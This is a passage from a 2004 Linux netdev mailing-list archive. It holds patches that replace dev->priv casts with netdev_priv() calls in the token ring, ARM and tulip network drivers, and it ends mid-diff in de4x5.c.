smctr_setup_single_cmd_w_data static char *smctr_malloc(struct net_device *dev, __u16 size) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); char *m; m = (char *)(tp->ram_access + tp->sh_mem_used); @@ -5329,7 +5329,7 @@ static char *smctr_malloc(struct net_dev static int smctr_status_chg(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 10) printk(KERN_DEBUG "%s: smctr_status_chg\n", dev->name); @@ -5365,7 +5365,7 @@ static int smctr_status_chg(struct net_d static int smctr_trc_send_packet(struct net_device *dev, FCBlock *fcb, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err = 0; if(smctr_debug > 10) @@ -5386,7 +5386,7 @@ static int smctr_trc_send_packet(struct static __u16 smctr_tx_complete(struct net_device *dev, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); __u16 status, err = 0; int cstatus; @@ -5441,7 +5441,7 @@ static __u16 smctr_tx_complete(struct ne static unsigned short smctr_tx_move_frame(struct net_device *dev, struct sk_buff *skb, __u8 *pbuff, unsigned int bytes) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int ram_usable; __u32 flen, len, offset = 0; __u8 *frag, *page; @@ -5482,7 +5482,7 @@ static unsigned short smctr_tx_move_fram /* Update the error statistic counters for this adapter. */ static int smctr_update_err_stats(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); struct tr_statistics *tstat = &tp->MacStat; if(tstat->internal_errors) @@ -5524,7 +5524,7 @@ static int smctr_update_err_stats(struct static int smctr_update_rx_chain(struct net_device *dev, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); FCBlock *fcb; BDBlock *bdb; __u16 size, len; @@ -5562,7 +5562,7 @@ static int smctr_update_rx_chain(struct static int smctr_update_tx_chain(struct net_device *dev, FCBlock *fcb, __u16 queue) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(smctr_debug > 20) printk(KERN_DEBUG "smctr_update_tx_chain\n"); @@ -5598,7 +5598,7 @@ static int smctr_update_tx_chain(struct static int smctr_wait_cmd(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int loop_count = 0x20000; if(smctr_debug > 10) @@ -5623,7 +5623,7 @@ static int smctr_wait_cmd(struct net_dev static int smctr_wait_while_cbusy(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int timeout = 0x20000; int ioaddr = dev->base_addr; __u8 r; @@ -5686,7 +5686,7 @@ static struct net_device *setup_card(int return dev; out1: #ifdef CONFIG_MCA - { struct net_local *tp = (struct net_local *)dev->priv; + { struct net_local *tp = netdev_priv(dev); if (tp->slot_num) mca_mark_as_unused(tp->slot_num); } @@ -5726,7 +5726,7 @@ void cleanup_module(void) unregister_netdev(dev); #ifdef CONFIG_MCA - { struct net_local *tp = dev->priv; + { struct net_local *tp = netdev_priv(dev); if (tp->slot_num) mca_mark_as_unused(tp->slot_num); } diff -puN drivers/net/tokenring/tms380tr.c~net_token_casts drivers/net/tokenring/tms380tr.c --- linux-264-302-priv/drivers/net/tokenring/tms380tr.c~net_token_casts 2004-03-02 16:30:16.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tokenring/tms380tr.c 2004-03-02 16:40:11.000000000 -0800 @@ -243,7 +243,7 @@ static int madgemc_sifprobe(struct net_d */ int tms380tr_open(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; /* init the spinlock */ @@ -313,7 +313,7 @@ int tms380tr_open(struct net_device *dev static void tms380tr_timer_end_wait(unsigned long data) { struct net_device *dev = (struct net_device*)data; - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(tp->Sleeping) { @@ -329,7 +329,7 @@ static void tms380tr_timer_end_wait(unsi */ static int tms380tr_chipset_init(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; tms380tr_init_ipb(tp); @@ -364,7 +364,7 @@ static int tms380tr_chipset_init(struct */ static void tms380tr_init_net_local(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int i; dma_addr_t dmabuf; @@ -492,7 +492,7 @@ static void tms380tr_init_opb(struct net unsigned short BufferSize = BUFFER_SIZE; int i; - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); tp->ocpl.OPENOptions = 0; tp->ocpl.OPENOptions |= ENABLE_FULL_DUPLEX_SELECTION; @@ -531,7 +531,7 @@ static void tms380tr_init_opb(struct net */ static void tms380tr_open_adapter(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); if(tp->OpenCommandIssued) return; @@ -569,7 +569,7 @@ static void tms380tr_enable_interrupts(s */ static void tms380tr_exec_cmd(struct net_device *dev, unsigned short Command) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tp->CMDqueue |= Command; tms380tr_chk_outstanding_cmds(dev); @@ -596,7 +596,7 @@ static void tms380tr_timeout(struct net_ */ static int tms380tr_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); int err; err = tms380tr_hardware_send_packet(skb, dev); @@ -616,7 +616,7 @@ static int tms380tr_hardware_send_packet unsigned long flags; int i; dma_addr_t dmabuf, newbuf; - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); /* Try to get a free TPL from the chain. * @@ -715,7 +715,7 @@ static void tms380tr_chk_src_addr(unsign static void tms380tr_timer_chk(unsigned long data) { struct net_device *dev = (struct net_device*)data; - struct net_local *tp = (struct net_local*)dev->priv; + struct net_local *tp = netdev_priv(dev); if(tp->HaltInProgress) return; @@ -755,7 +755,7 @@ irqreturn_t tms380tr_interrupt(int irq, return IRQ_NONE; } - tp = (struct net_local *)dev->priv; + tp = netdev_priv(dev); irq_type = SIFREADW(SIFSTS); @@ -843,7 +843,7 @@ irqreturn_t tms380tr_interrupt(int irq, */ static void tms380tr_reset_interrupt(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); SSB *ssb = &tp->ssb; /* @@ -929,7 +929,7 @@ static unsigned char tms380tr_chk_ssb(st */ static void tms380tr_cmd_status_irq(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned short ssb_cmd, ssb_parm_0; unsigned short ssb_parm_1; char *open_err = "Open error -"; @@ -1126,7 +1126,7 @@ static void tms380tr_cmd_status_irq(stru */ int tms380tr_close(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); netif_stop_queue(dev); del_timer(&tp->timer); @@ -1172,7 +1172,7 @@ int tms380tr_close(struct net_device *de */ static struct net_device_stats *tms380tr_get_stats(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); return ((struct net_device_stats *)&tp->MacStat); } @@ -1182,7 +1182,7 @@ static struct net_device_stats *tms380tr */ static void tms380tr_set_multicast_list(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned int OpenOptions; OpenOptions = tp->ocpl.OPENOptions & @@ -1275,7 +1275,7 @@ static void tms380tr_exec_sifcmd(struct */ static int tms380tr_reset_adapter(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned short *fw_ptr; unsigned short count, c, count2; const struct firmware *fw_entry = NULL; @@ -1428,7 +1428,7 @@ static int tms380tr_bringup_diags(struct */ static int tms380tr_init_adapter(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); const unsigned char SCB_Test[6] = {0x00, 0x00, 0xC1, 0xE2, 0xD4, 0x8B}; const unsigned char SSB_Test[8] = {0xFF, 0xFF, 0xD1, 0xD7, @@ -1541,7 +1541,7 @@ static int tms380tr_init_adapter(struct */ static void tms380tr_chk_outstanding_cmds(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned long Addr = 0; if(tp->CMDqueue == 0) @@ -1713,7 +1713,7 @@ static void tms380tr_chk_outstanding_cmd */ static void tms380tr_ring_status_irq(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tp->CurrentRingStatus = be16_to_cpu((unsigned short)tp->ssb.Parm[0]); @@ -1785,7 +1785,7 @@ static void tms380tr_chk_irq(struct net_ { int i; unsigned short AdapterCheckBlock[4]; - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); tp->AdapterOpenFlag = 0; /* Adapter closed now */ @@ -1941,7 +1941,7 @@ static void tms380tr_chk_irq(struct net_ */ static int tms380tr_read_ptr(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned short adapterram; tms380tr_read_ram(dev, (unsigned char *)&tp->intptrs.BurnedInAddrPtr, @@ -2031,7 +2031,7 @@ static void tms380tr_cancel_tx_queue(str */ static void tms380tr_tx_status_irq(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned char HighByte, HighAc, LowAc; TPL *tpl; @@ -2102,7 +2102,7 @@ static void tms380tr_tx_status_irq(struc */ static void tms380tr_rcv_status_irq(struct net_device *dev) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); unsigned char *ReceiveDataPtr; struct sk_buff *skb; unsigned int Length, Length2; @@ -2293,7 +2293,7 @@ static void tms380tr_update_rcv_stats(st static int tms380tr_set_mac_address(struct net_device *dev, void *addr) { - struct net_local *tp = (struct net_local *)dev->priv; + struct net_local *tp = netdev_priv(dev); struct sockaddr *saddr = addr; if (tp->AdapterOpenFlag || tp->AdapterVirtOpenFlag) { @@ -2327,7 +2327,7 @@ void tmsdev_term(struct net_device *dev) { struct net_local *tp; - tp = (struct net_local *) dev->priv; + tp = netdev_priv(dev); pci_unmap_single(tp->pdev, tp->dmabuffer, sizeof(struct net_local), PCI_DMA_BIDIRECTIONAL); } @@ -2338,7 +2338,7 @@ int tmsdev_init(struct net_device *dev, struct net_local *tms_local; memset(dev->priv, 0, sizeof(struct net_local)); - tms_local = (struct net_local *)dev->priv; + tms_local = netdev_priv(dev); init_waitqueue_head(&tms_local->wait_for_tok_int); tms_local->dmalimit = dmalimit; tms_local->pdev = pdev; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:20:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:20:27 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LKKKO018794 for ; Thu, 4 Mar 2004 13:20:20 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LKFE29197 for ; Thu, 4 Mar 2004 13:20:15 -0800 Date: Thu, 4 Mar 2004 13:19:22 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/arm drivers Message-Id: <20040304131922.1eab1cb4.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3749 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 13186 Lines: 394 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/arm/am79c961a.c | 20 +++++++------- linux-264-302-priv-rddunlap/drivers/net/arm/ether1.c | 20 +++++++------- linux-264-302-priv-rddunlap/drivers/net/arm/ether3.c | 22 ++++++++-------- linux-264-302-priv-rddunlap/drivers/net/arm/etherh.c | 18 ++++++------- 4 files changed, 40 insertions(+), 40 deletions(-) diff -puN drivers/net/arm/am79c961a.c~net_arm_casts drivers/net/arm/am79c961a.c --- linux-264-302-priv/drivers/net/arm/am79c961a.c~net_arm_casts 2004-03-02 15:08:30.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/arm/am79c961a.c 2004-03-02 15:15:12.000000000 -0800 @@ -196,7 +196,7 @@ am79c961_ramtest(struct net_device *dev, static void am79c961_init_for_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned long flags; unsigned char *p; u_int hdr_addr, first_free_addr; @@ -271,7 +271,7 @@ am79c961_init_for_open(struct net_device static void am79c961_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned int lnkstat, carrier; lnkstat = read_ireg(dev->base_addr, ISALED0) & ISALED0_LNKST; @@ -291,7 +291,7 @@ static void am79c961_timer(unsigned long static int am79c961_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); int ret; memset (&priv->stats, 0, sizeof (priv->stats)); @@ -318,7 +318,7 @@ am79c961_open(struct net_device *dev) static int am79c961_close(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned long flags; del_timer_sync(&priv->timer); @@ -341,7 +341,7 @@ am79c961_close(struct net_device *dev) */ static struct net_device_stats *am79c961_getstats (struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); return &priv->stats; } @@ -365,7 +365,7 @@ static void am79c961_mc_hash(struct dev_ */ static void am79c961_setmulticastlist (struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned long flags; unsigned short multi_hash[4], mode; int i, stopped; @@ -444,7 +444,7 @@ static void am79c961_timeout(struct net_ static int am79c961_sendpacket(struct sk_buff *skb, struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned int hdraddr, bufaddr; unsigned int head; unsigned long flags; @@ -593,7 +593,7 @@ static irqreturn_t am79c961_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); u_int status, n = 100; int handled = 0; @@ -630,7 +630,7 @@ am79c961_interrupt(int irq, void *dev_id static int am79c961_hw_init(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); spin_lock_irq(&priv->chip_lock); write_rreg (dev->base_addr, CSR0, CSR0_STOP); @@ -662,7 +662,7 @@ static int __init am79c961_init(void) if (!dev) goto out; - priv = dev->priv; + priv = netdev_priv(dev); /* * Fixed address and IRQ lines here. diff -puN drivers/net/arm/ether1.c~net_arm_casts drivers/net/arm/ether1.c --- linux-264-302-priv/drivers/net/arm/ether1.c~net_arm_casts 2004-03-02 15:08:30.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/arm/ether1.c 2004-03-02 15:11:48.000000000 -0800 @@ -447,7 +447,7 @@ static rbd_t init_rbd = { static int ether1_init_for_open (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); int i, status, addr, next, next2; int failures = 0; unsigned long timeout; @@ -616,7 +616,7 @@ ether1_init_for_open (struct net_device static int ether1_txalloc (struct net_device *dev, int size) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); int start, tail; size = (size + 1) & ~1; @@ -642,7 +642,7 @@ ether1_txalloc (struct net_device *dev, static int ether1_open (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); if (!is_valid_ether_addr(dev->dev_addr)) { printk(KERN_WARNING "%s: invalid ethernet MAC address\n", @@ -668,7 +668,7 @@ ether1_open (struct net_device *dev) static void ether1_timeout(struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); printk(KERN_WARNING "%s: transmit timeout, network cable problem?\n", dev->name); @@ -686,7 +686,7 @@ ether1_timeout(struct net_device *dev) static int ether1_sendpacket (struct sk_buff *skb, struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); int tmp, tst, nopaddr, txaddr, tbdaddr, dataddr; unsigned long flags; tx_t tx; @@ -762,7 +762,7 @@ ether1_sendpacket (struct sk_buff *skb, static void ether1_xmit_done (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); nop_t nop; int caddr, tst; @@ -863,7 +863,7 @@ again: static void ether1_recv_done (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); int status; int nexttail, rbdaddr; rbd_t rbd; @@ -919,7 +919,7 @@ static irqreturn_t ether1_interrupt (int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); int status; status = ether1_inw (dev, SCB_ADDR, scb_t, scb_status, NORMALIRQS); @@ -978,7 +978,7 @@ ether1_close (struct net_device *dev) static struct net_device_stats * ether1_getstats (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = netdev_priv(dev); return &priv->stats; } @@ -1030,7 +1030,7 @@ ether1_probe(struct expansion_card *ec, request_region(dev->base_addr, 16, dev->name); request_region(dev->base_addr + 0x800, 4096, dev->name); - priv = (struct ether1_priv *)dev->priv; + priv = netdev_priv(dev); if ((priv->bus_type = ether1_reset(dev)) == 0) { ret = -ENODEV; goto release; diff -puN drivers/net/arm/ether3.c~net_arm_casts drivers/net/arm/ether3.c --- linux-264-302-priv/drivers/net/arm/ether3.c~net_arm_casts 2004-03-02 15:08:30.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/arm/ether3.c 2004-03-02 15:13:34.000000000 -0800 @@ -121,7 +121,7 @@ static inline void ether3_outw(int v, co static int ether3_setbuffer(struct net_device *dev, buffer_rw_t read, int start) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); int timeout = 1000; ether3_outw(priv->regs.config1 | CFG1_LOCBUFMEM, REG_CONFIG1); @@ -180,7 +180,7 @@ static void ether3_ledoff(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); ether3_outw(priv->regs.config2 |= CFG2_CTRLO, REG_CONFIG2); } @@ -280,7 +280,7 @@ ether3_ramtest(struct net_device *dev, u static int __init ether3_init_2(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); int i; priv->regs.config1 = CFG1_RECVCOMPSTAT0|CFG1_DMABURST8; @@ -330,7 +330,7 @@ ether3_init_2(struct net_device *dev) static void ether3_init_for_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); int i; memset(&priv->stats, 0, sizeof(struct net_device_stats)); @@ -434,7 +434,7 @@ ether3_open(struct net_device *dev) static int ether3_close(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); netif_stop_queue(dev); @@ -457,7 +457,7 @@ ether3_close(struct net_device *dev) */ static struct net_device_stats *ether3_getstats(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); return &priv->stats; } @@ -469,7 +469,7 @@ static struct net_device_stats *ether3_g */ static void ether3_setmulticastlist(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); priv->regs.config1 &= ~CFG1_RECVPROMISC; @@ -487,7 +487,7 @@ static void ether3_setmulticastlist(stru static void ether3_timeout(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned long flags; del_timer(&priv->timer); @@ -518,7 +518,7 @@ ether3_timeout(struct net_device *dev) static int ether3_sendpacket(struct sk_buff *skb, struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = netdev_priv(dev); unsigned long flags; unsigned int length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; unsigned int ptr, next_ptr; @@ -594,7 +594,7 @@ ether3_interrupt(int irq, void *dev_id, printk("eth3irq: %d ", irq); #endif - priv = (struct dev_priv *)dev->priv; + priv = netdev_priv(dev); status = ether3_inw(REG_STATUS); @@ -844,7 +844,7 @@ ether3_probe(struct expansion_card *ec, goto free; } - priv = (struct dev_priv *) dev->priv; + priv = netdev_priv(dev); init_timer(&priv->timer); /* Reset card... diff -puN drivers/net/arm/etherh.c~net_arm_casts drivers/net/arm/etherh.c --- linux-264-302-priv/drivers/net/arm/etherh.c~net_arm_casts 2004-03-02 15:08:30.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/arm/etherh.c 2004-03-02 15:15:42.000000000 -0800 @@ -144,7 +144,7 @@ static expansioncard_ops_t etherh_ops = static void etherh_setif(struct net_device *dev) { - struct etherh_priv *eh = (struct etherh_priv *)dev->priv; + struct etherh_priv *eh = netdev_priv(dev); struct ei_device *ei_local = &eh->eidev; unsigned long addr, flags; @@ -188,7 +188,7 @@ etherh_setif(struct net_device *dev) static int etherh_getifstat(struct net_device *dev) { - struct etherh_priv *eh = (struct etherh_priv *)dev->priv; + struct etherh_priv *eh = netdev_priv(dev); struct ei_device *ei_local = &eh->eidev; int stat = 0; @@ -256,7 +256,7 @@ static int etherh_set_config(struct net_ static void etherh_reset(struct net_device *dev) { - struct ei_device *ei_local = (struct ei_device *) dev->priv; + struct ei_device *ei_local = netdev_priv(dev); outb_p(E8390_NODMA+E8390_PAGE0+E8390_STOP, dev->base_addr); @@ -283,7 +283,7 @@ etherh_reset(struct net_device *dev) static void etherh_block_output (struct net_device *dev, int count, const unsigned char *buf, int start_page) { - struct ei_device *ei_local = (struct ei_device *) dev->priv; + struct ei_device *ei_local = netdev_priv(dev); unsigned int addr, dma_addr; unsigned long dma_start; @@ -349,7 +349,7 @@ etherh_block_output (struct net_device * static void etherh_block_input (struct net_device *dev, int count, struct sk_buff *skb, int ring_offset) { - struct ei_device *ei_local = (struct ei_device *) dev->priv; + struct ei_device *ei_local = netdev_priv(dev); unsigned int addr, dma_addr; unsigned char *buf; @@ -390,7 +390,7 @@ etherh_block_input (struct net_device *d static void etherh_get_header (struct net_device *dev, struct e8390_pkt_hdr *hdr, int ring_page) { - struct ei_device *ei_local = (struct ei_device *) dev->priv; + struct ei_device *ei_local = netdev_priv(dev); unsigned int addr, dma_addr; if (ei_local->dmaing) { @@ -432,7 +432,7 @@ etherh_get_header (struct net_device *de static int etherh_open(struct net_device *dev) { - struct ei_device *ei_local = (struct ei_device *) dev->priv; + struct ei_device *ei_local = netdev_priv(dev); if (!is_valid_ether_addr(dev->dev_addr)) { printk(KERN_WARNING "%s: invalid ethernet MAC address\n", @@ -557,7 +557,7 @@ etherh_probe(struct expansion_card *ec, goto out; } - eh = dev->priv; + eh = netdev_priv(dev); spin_lock_init(&eh->eidev.page_lock); @@ -653,7 +653,7 @@ etherh_probe(struct expansion_card *ec, break; } - ei_local = (struct ei_device *) dev->priv; + ei_local = netdev_priv(dev); if (ec->cid.product == PROD_ANT_ETHERM) { ei_local->tx_start_page = ETHERM_TX_START_PAGE; ei_local->stop_page = ETHERM_STOP_PAGE; _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:20:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:20:50 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LKYKO019024 for ; Thu, 4 Mar 2004 13:20:34 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LKTE29257 for ; Thu, 4 Mar 2004 13:20:29 -0800 Date: Thu, 4 Mar 2004 13:19:36 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/tulip drivers Message-Id: <20040304131936.7bc66cac.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3750 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 48528 Lines: 1332 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/tulip/21142.c | 6 linux-264-302-priv-rddunlap/drivers/net/tulip/de4x5.c | 164 ++++++------- linux-264-302-priv-rddunlap/drivers/net/tulip/dmfe.c | 26 +- linux-264-302-priv-rddunlap/drivers/net/tulip/eeprom.c | 2 linux-264-302-priv-rddunlap/drivers/net/tulip/interrupt.c | 10 linux-264-302-priv-rddunlap/drivers/net/tulip/media.c | 10 linux-264-302-priv-rddunlap/drivers/net/tulip/pnic.c | 6 linux-264-302-priv-rddunlap/drivers/net/tulip/pnic2.c | 6 linux-264-302-priv-rddunlap/drivers/net/tulip/timer.c | 6 linux-264-302-priv-rddunlap/drivers/net/tulip/tulip_core.c | 30 +- linux-264-302-priv-rddunlap/drivers/net/tulip/xircom_cb.c | 16 - 11 files changed, 141 insertions(+), 141 deletions(-) diff -puN drivers/net/tulip/21142.c~net_tulip_casts drivers/net/tulip/21142.c --- linux-264-302-priv/drivers/net/tulip/21142.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/21142.c 2004-03-02 20:43:32.000000000 -0800 @@ -29,7 +29,7 @@ static u16 t21142_csr15[] = { 0x0008, 0x void t21142_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr12 = inl(ioaddr + CSR12); int next_tick = 60*HZ; @@ -103,7 +103,7 @@ void t21142_timer(unsigned long data) void t21142_start_nway(struct net_device *dev) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr14 = ((tp->sym_advertise & 0x0780) << 9) | ((tp->sym_advertise & 0x0020) << 1) | 0xffbf; @@ -131,7 +131,7 @@ void t21142_start_nway(struct net_device void t21142_lnk_change(struct net_device *dev, int csr5) { - struct tulip_private *tp = (struct tulip_private *)dev->priv; + struct tulip_private *tp = netdev_priv(dev); long ioaddr = dev->base_addr; int csr12 = inl(ioaddr + CSR12); diff -puN drivers/net/tulip/de4x5.c~net_tulip_casts drivers/net/tulip/de4x5.c --- linux-264-302-priv/drivers/net/tulip/de4x5.c~net_tulip_casts 2004-03-02 20:28:49.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/tulip/de4x5.c 2004-03-02 20:41:58.000000000 -0800 @@ -1086,7 +1086,7 @@ static int __devinit de4x5_hw_init(struct net_device *dev, u_long iobase, struct device *gendev) { char name[DE4X5_NAME_LENGTH + 1]; - struct de4x5_private *lp = dev->priv; + struct de4x5_private *lp = netdev_priv(dev); struct pci_dev *pdev = NULL; int i, status=0; @@ -1294,7 +1294,7 @@ de4x5_hw_init(struct net_device *dev, u_ static int de4x5_open(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int i, status = 0; s32 omr; @@ -1384,7 +1384,7 @@ de4x5_init(struct net_device *dev) static int de4x5_sw_reset(struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct de4x5_private *lp = netdev_priv(dev); u_long iobase = dev->base_addr; int i, j, status = 0; s32 bmr, omr; @@ -1462,7 +1462,7 @@ de4x5_sw_reset(struct net_device *dev) static int de4x5_queue_pkt(struct sk_buff *skb, struct net_device *dev) { - struct de4x5_private *lp = (struct de4x5_private *)dev->priv; + struct 